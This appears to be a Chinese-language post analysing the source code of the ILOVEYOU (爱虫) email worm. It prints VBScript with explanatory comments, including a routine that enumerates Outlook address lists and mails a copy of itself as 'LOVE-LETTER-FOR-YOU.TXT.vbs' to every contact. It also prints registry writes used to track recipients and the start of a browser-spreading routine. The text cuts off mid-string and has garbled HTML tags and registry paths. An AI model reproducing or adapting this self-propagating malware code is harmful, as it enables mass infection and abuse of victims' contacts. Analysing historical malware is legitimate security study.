爱虫病毒源代码分析

< ! --
这是爱虫病毒的源代码，爱虫病毒通过邮件传播，但是只局限于outlook的用户，病毒作者通过邮件的内容引诱收件人打开邮件的附件。而事实上，附件是一个.vbs的vbscript脚本程序，当用户打开这个文件时，病毒找到计算机上的所有邮件地址，并把自己作为附件粘到附件里并发送出去。而且会把自己得复制到系统目录中，而且会修改注册表，做系统在启动时运行病毒代码。
  -->

< HTML >< HEAD >
< Title >  Help  Title > HEAD >
< Body >   < script language = ' VBScript'> 
' ========================
功能：读取注册表的值
参数：注册表键值键值位置
========================= '
function  regget(value)
Set  regedit  =   CreateObject ( " WScript.Shell " )    ' 新建一个Wscript.Shell对象，此对象可读取windows注册表值'
regget  =  regedit.RegRead(value)                ' RegRead是Wscript.Shell对象读注册表的方法'
end function
' ========================
功能：测试文件是否存在
参数：文件路径
返回值：存在返回0,不存在返回1
========================= '
function  fileexist(filespec)
On   Error   Resume   Next
dim  msg
if  (fso.FileExists(filespec))  Then   ' 如果文件存在msg=0否则msg=1'
msg  =   0
else
msg  =   1
end   if

fileexist  =  msg
end function

' ========================
功能：测试文件夹是否存在
参数：文件夹路径
返回值：存在返回0,不存在返回1
========================= '
function  folderexist(folderspec)
On   Error   Resume   Next
dim  msg
if  (fso.GetFolderExists(folderspec))  then
msg  =   0
else
msg  =   1
end   if
fileexist  =  msg
end function

' ==========================Sub spreadtoemail======================================='
sub  spreadtoemail()
On   Error   Resume   Next
dim  x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad

set  regedit  =   CreateObject ( " WScript.Shell " )
set  out  =  WScript.CreateObject( " Outlook.Application " )  ' 创建一个OUTLOOK应用的对象 '
set  mapi  =  out.GetNameSpace( " MAPI " )  ' 取得MAPI名字空间 '
' ===for 遍历整个mapi的地址列表=='
for  ctrlists  =   1   to  mapi.AddressLists.Count
set  a  =  mapi.AddressLists(ctrlists)  ' a是邮件地址'
x  =   1
regv  =  regedit.RegRead( " HKEY_CURRENT_USERSoftwareMicrosoftWAB "   &  a)

if  (regv  =   "" )  then
    regv  =   1
end   if

if  ( int (a.AddressEntries.Count)  >   int (regv))  then
' =======for========'
for  ctrentries  =   1   to  a.AddressEntries.Count
malead  =  a.AddressEntries(x)  ' malead变量存放邮件地址，可能是因为病毒作者英文不太好，他可能本来是想写mailad(mail address)的'
regad  =   ""
regad  =  regedit.RegRead( " HKEY_CURRENT_USERSoftwareMicrosoftWAB "   &  malead)

if  (regad  =   "" )  then
     set  male  =  out.CreateItem( 0 )  ' 新建邮件对象'
    male.Recipients.Add(malead)   ' 把邮件列表时的一个地址加到这个邮件的收件人里'
    male.Subject  =   " ILOVEYOU "      ' “爱虫”的标志，邮件的主题是ILOVEYOU'
    male.Body  =  vbcrlf  &   " kindly check the attached LOVELETTER coming from me. "      ' vbcrlf相当于回车符和换行符的组合，这一行是设定邮件的正文，引诱收件人打开邮件的附件'
    male.Attachments.Add(dirsystem  &   " LOVE-LETTER-FOR-YOU.TXT.vbs " )    ' 把病毒自己附在邮件里'
    male.Send  ' 发送邮件'
    regedit.RegWrite  " HKEY_CURRENT_USERSoftwareMicrosoftWAB "   &  malead,  1 ,  " REG_DWORD "   ' 把地址写入注册表'
end   if

x  =  x  +   1
next
' ======end of for======'

regedit.RegWrite  " HKEY_CURRENT_USERSoftwareMicrosoftWAB " & a,a.AddressEntries.Count
else
regedit.RegWrite  " HKEY_CURRENT_USERSoftwareMicrosoftWAB " & a,a.AddressEntries.Count
end   if
next
' ===========end of for=============='

Set  out  =   Nothing
Set  mapi  =   Nothing
end sub
' ========================End Sub======================================='

' ==========================Sub html===================================='
sub  html
On   Error   Resume   Next
dim  lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
' ==========
下面这段是设定一个html文件，让病毒能通过浏览器传播，因为要注释，而下面又是一个单独的变量，所以会破坏变量
因为不能在变量中放置  /  双引号 单引号 ,所以要用一些符号替代，最后再替换回来
在下面 ? - ?相当于 / ，@ - @相当于双引号，# - #相当于单引号， ^-^ 相当于 ，在后面会用replace()函数替换回来
=========== '
dta1 =   "